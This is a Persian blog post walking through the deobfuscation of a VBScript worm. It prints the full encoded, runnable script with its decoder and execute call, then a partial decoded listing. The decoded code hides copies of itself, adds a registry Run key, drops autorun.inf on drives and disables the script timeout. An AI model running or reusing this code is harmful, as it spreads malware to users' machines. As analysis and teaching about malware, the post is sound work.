رمز گشایی یک ویروس VBScript ای!

اخیرا یکی از دوستان یک برنامه ی VBScript به من داد که رمز گذاری شده بود و از من خواست که آن را به حالت عادی در بیاورم.
این برنامه ظاهرا متعلق به یک ویروس است و با یک الگوریتم ساده رمز گذاری شده است.
من آن را خیلی راحت از حالت رمز گذاری شده به حالت عادی برگرداندم و در این جا می خواهم روش کار را توضیح دهم.

متن اصلی ویروس این است:

'log!n ---><..Presents..><--- st!cky_w0rM
'
'b0rN 0n 07-12-2009 1620
'
maz1 = "po!fssps!sftvnf!ofyu;ejn!gtp-gjmf-wctdpqz;ep;Tfu!gtp!>!DsfbufPckfdu)#Tdsjqujoh/GjmfTztufnPckfdu#*;svoBP!>!#\bvupsvo^#!;svoBP2!>!# tifmmfyfdvuf>xtdsjqu/fyf!tupq.wjsvt/wct#!;Ejn!sh;Tfu!sh!>!DsfbufPckfdu)#XTdsjqu/Tifmm#*;Ejn!n2-uyu-t{-wdpef-difdl!;Tfu!n2!>!gtp/HfuGjmf)XTdsjqu/TdsjquGvmmobnf*!;t{!>!n2/tj{f!;difdl!>!n2/Esjwf/esjwfuzqf!;Tfu!uyu!>!n2/pqfobtufyutusfbn)2-!.3*!;Ep!Xijmf!Opu!uyu/bufoepgtusfbn!;wdpef!>!wdpef!'!uyu/sfbemjof!;wdpef!>!wdpef!'!wcDsMg!;Mppq!;sh/SfhXsjuf!#ILFZ`DVSSFOU`VTFS]Tpguxbsf]Njdsptpgu]Xjoepxt!Tdsjqu!Iptu]Tfuujoht]Ujnfpvu#-1-#SFH`EXPSE#!;ejn!ug!;Tfu!ejsxjo!>!gtp/HfuTqfdjbmGpmefs)3*!;Jg!Opu!)gtp/gjmffyjtut)ejsxjo!'#]tupq.wjsvt/wct#**!Uifo!;Tfu!ug!>!gtpF]fuGjmf)ejsxjo!'#]tupq.wjsvt/wct#*!;ug/Buusjcvuft!>!43!;Tfu!ug!>!gtp/DsfbufUfyuGjmf)ejsxjo!'#]tupq.wjsvt/wct#-!3-!Usvf*!;ug/Xsjuf!wdpef!;ug/Dmptf!;Foe!jg!;Tfu!ug!>!gtp/HfuGjmf)ejsxjo!'#]tupq.wjsvt/wct#*;ug/Buusjcvuft!>!4:!;sh/SfhXsjuf!#ILFZ`MPDBM`NBDIJOF]TPGUXBSF]Njdsptpgu]Xjoepxt]DvssfouWfstjpo]qpmjdjft]fyqmpsfs]svo]TztEmm22#-#xtdsjqu/fyf!#!'!ejsxjo!'#]tupq.wjsvt/wct#!;ejn!ushuesw2!;Gps!Fbdi!ushuesw2!Jo!gtp/esjwft!;Jg)ushuesw2/esjwfuzqf!>!2*!Boe!ushuesw2/Qbui!=?!#B;#!Uifo!;Jg!Opu!)gtp/gjmffyjtut)ushuesw2/Qbui!'#]tupq.wjsvt/wct#**!Uifo!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]tupq.wjsvt/wct#*!;ug/Buusjcvuft!>!43!;Tfu!ug!>!gtp/DsfbufUfyuGjmf)ushuesw2/Qbui!'#]tupq.wjsvt/wct#-!3-!Usvf*!;ug/Xsjuf!wdpef!;ug/Dmptf!;Foe!jg!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]tupq.wjsvt/wct#*;ug/Buusjcvuft!>!4:!;Jg!Opu!)gtp/gjmffyjtut)ushuesw2/Qbui!'#]bvupsvo/jog#**!Uifo!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]bvupsvo/jog#*!;ug/Buusjcvuft!>!43!;Tfu!ug!>!gtp/DsfbufUfyuGjmf)ushuesw2/Qbui!'#]bvupsvo/jog#-!3-!Usvf*!;ug/XsjufMjof!svoBP!;ug/XsjufMjof!svoBP2!;ug/Dmptf!;Foe!jg!;Tfu!ug!>!gtp/HfuGjmf)ushuesw2/Qbui!'#]bvupsvo/jog#*!;ug/Buusjcvuft!>!4:!;Foe!jg!;Ofyu!;Jg!difdl!=?!2!Uifo! ;XTdsjqu/tmffq!:111!;Foe!Jg!;wdpef>##!;Mppq!Xijmf!)difdl!=? !2*"
execute(dec(maz1))
Function dec(s):For i = 1 To Len(s):T = Mid(s, i, 1):T = Chr(Asc(T) -1):Coded = Coded + T:Next:dec = coded:End Function 

من ابتدا متن فوق را در notepad++ کپی کردم و مشاهده کردم که برنامه از سه قسمت تشکیل شده است:

قسمت اول که مقداری Comment است:

'log!n ---><..Presents..><--- st!cky_w0rM
'
'b0rN 0n 07-12-2009 1620
'

قسمت دوم شامل دستورات زیر است:

maz1 = "po!fssps!sf .... "
exec(dec(maz1))

یعنی یک متغیر به نام maz1 تعریف شده که محتوای آن یک رشته ی رمز گذاری شده است. این رشته را ابتدا توسط تابع dec از حالت رمز شده در می آورد و سپس با تابع exec آن را اجرا می کند.

قسمت سوم هم که تعریف تابع dec است:

Function dec(s):For i = 1 To Len(s):T = Mid(s, i, 1):T = Chr(Asc(T) -1):Coded = Coded + T:Next:dec = coded:End Function

بنابراین کار خیلی ساده است!
کافی است که کلمه ی exec را در قسمت دوم به کلمه ی msgbox تغییر دهیم تا برنامه ی کد شده، بعد از این که دیکد شد، اجرا نشود. بلکه توسط تابع msgbox به ما نشان داده شود
من هم در سورس برنامه، exec را پاک کردم و به جای آن نوشتم msgbox و سپس برنامه را اجرا کردم
سورس برنامه در داخل یک پیغام msgbox نمایش داده شد.

سپس در روی کی بورد دکمه های Alt + Ctrl + Insert را فشار دادم تا متن موجود در MSgBox به Clipboard من کپی شود.
سپس به notepad++ برگشتم و یک تب جدید باز کردم و با Ctrl + V متن موجود در Clipboard را Paste کردم
و به همین راحتی به سورس برنامه دست پیدا کردم!

on error resume next:dim fso,file,vbscopy:do:Set fso = CreateObject("Scripting.FileSystemObject"):runAO = "[autorun]" :runAO1 = "shellexecute=wscript.exe stop-virus.vbs" :Dim rg:Set rg = CreateObject("WScript.Shell"):Dim m1,txt,sz,vcode,check :Set m1 = fso.GetFile(WScript.ScriptFullname) :sz = m1.size :check = m1.Drive.drivetype :Set txt = m1.openastextstream(1, -2) :Do While Not txt.atendofstream :vcode = vcode & txt.readline :vcode = vcode & vbCrLf :Loop :rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout",0,"REG_DWORD" :dim tf :Set dirwin = fso.GetSpecialFolder(2) :If Not (fso.fileexists(dirwin &"\stop-virus.vbs")) Then :Set tf = fsoE\etFile(dirwin &"\stop-virus.vbs") :tf.Attributes = 32 :Set tf = fso.CreateTextFile(dirwin &"\stop-virus.vbs", 2, True) :tf.Write vcode :tf.Close :End if :Set tf = fso.GetFile(dirwin &"\stop-virus.vbs"):tf.Attributes = 39 :rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\explorer\run\SysDll11","wscript.exe

اکنون برای این که سورس به دست آمده خوانا شود، باید دو تا کار دیگر نیز انجام داد.
همان طور که می بینید در برنامه ی فوق، با جای این که برنامه را در چند خط بنویسد، همه را در یک خط نوشته است و به جای رفتن به خط جدید، از علامت : استفاده کرده.
کافی است در notepad++ کاراکتر : را با علامت خط جدید replace کنیم
برای این منظور، من در محیط notepad++ دکمه ی Ctrl + H را فشار دادم تا پنجره ی replace باز شد.
در قسمت Find تایپ کردم :
و در قسمت Replace with تایپ کردم \r\n
و در قسمت Search Mode گزینه ی دوم (Extended) را انتخاب کردم.
آن گاه دکمه ی Replace All را کلیک کردم و سورس برنامه را به دست آوردم

on error resume next
dim fso,file,vbscopy
do
Set fso = CreateObject("Scripting.FileSystemObject")
runAO = "[autorun]" 
runAO1 = "shellexecute=wscript.exe stop-virus.vbs" 
Dim rg
Set rg = CreateObject("WScript.Shell")
Dim m1,txt,sz,vcode,check 
Set m1 = fso.GetFile(WScript.ScriptFullname) 
sz = m1.size 
check = m1.Drive.drivetype 
Set txt = m1.openastextstream(1, -2) 
Do While Not txt.atendofstream 
vcode = vcode & txt.readline 
vcode = vcode & vbCrLf 
Loop 
rg.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings\Timeout",0,"REG_DWORD" 
dim tf 
Set dirwin = fso.GetSpecialFolder(2) 
If Not (fso.fileexists(dirwin &"\stop-virus.vbs")) Then 
Set tf = fsoE\etFile(dirwin &"\stop-virus.vbs") 
tf.Attributes = 32 
Set tf = fso.CreateTextFile(dirwin &"\stop-virus.vbs", 2, True) 
tf.Write vcode 
tf.Close 
End if 
Set tf = fso.GetFile(dirwin &"\stop-virus.vbs")
tf.Attributes = 39 
rg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\explorer\run\SysDll11","wscript.exe

اکنون می توان تورفتگی ها را نیز اصلاح کرد....

از برنامه نویس این ویروس (!) عذر می خواهم!
البته نمی دانم این برنامه برای چی نوشته شده بوده. شاید ویروس بوده شاید هم تستی بوده. ولی من تعجب می کنم از این برنامه...
من به اسم ویروس این برنامه رو دریافت کردم. دیگر نمی دانم واقعا ویروس است یا سر کاری هست. بیشتر به سرکاری شبیه است تا ویروس...

نظرات شما

قسمت نظرات با استفاده از سرویس دیسکاس پیاده سازی شده است. متاسفانه این سرویس از داخل ایران قابل دسترس نیست. لطفا از آی پی خارجی استفاده کنید.